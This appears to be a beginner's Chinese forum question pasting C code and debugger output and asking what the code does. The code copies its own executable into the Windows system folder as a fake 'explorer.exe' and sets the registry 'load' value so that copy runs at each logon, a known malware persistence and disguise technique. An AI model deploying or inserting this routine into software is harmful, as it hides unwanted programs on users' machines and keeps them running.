麻烦大神们给个详细的解释
代码:
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"Advapi32.lib")
void CreateStringReg(HKEY hRoot,char *szSubKey,char* ValueName,char *Data)
{
HKEY hKey;
long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
if (lRet!=ERROR_SUCCESS)
{
printf("error no RegCreateKeyEx %s\n", szSubKey);
return ;
}
lRet=RegSetValueEx(hKey,ValueName,0,REG_SZ,(BYTE*)Data,strlen(Data));
if (lRet!=ERROR_SUCCESS)
{
printf("error no RegSetValueEx %s\n", ValueName);
return ;
}
RegCloseKey(hKey);
}
int autorun()
{
char SelfFile[MAX_PATH];
char SystemPath[512];
GetSystemDirectory(SystemPath,sizeof(SystemPath));
strcat(SystemPath,"\\explorer.exe");
GetModuleFileName (NULL, SelfFile, MAX_PATH);
if(!CopyFile(SelfFile,SystemPath,true))
return 0;
CreateStringReg(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows","load",SystemPath);
return 0;
}
int main(int argc, char* argv[])
{
autorun();
return 0;
}
结果:
Loaded 'ntdll.dll', no matching symbolic information found.
Loaded 'C:\Windows\SysWOW64\kernel32.dll', no matching symbolic information found.
Loaded 'C:\Windows\SysWOW64\KernelBase.dll', no matching symbolic information found.
Loaded 'C:\Windows\SysWOW64\advapi32.dll', no matching symbolic information found.
Loaded 'C:\Windows\SysWOW64\msvcrt.dll', no matching symbolic information found.
Loaded 'C:\Windows\SysWOW64\sechost.dll', no matching symbolic information found.
Loaded 'C:\Windows\SysWOW64\rpcrt4.dll', no matching symbolic information found.
Loaded 'C:\Windows\SysWOW64\sspicli.dll', no matching symbolic information found.
Loaded 'C:\Windows\SysWOW64\cryptbase.dll', no matching symbolic information found.
The thread 0x31C has exited with code 0 (0x0).
The program 'D:\Microsoft Visual Studio\MyProjects\zhucebiao\Debug\zcb.exe' has exited with code 0 (0x0).
不太明白啊,小白一枚,能不能具体一点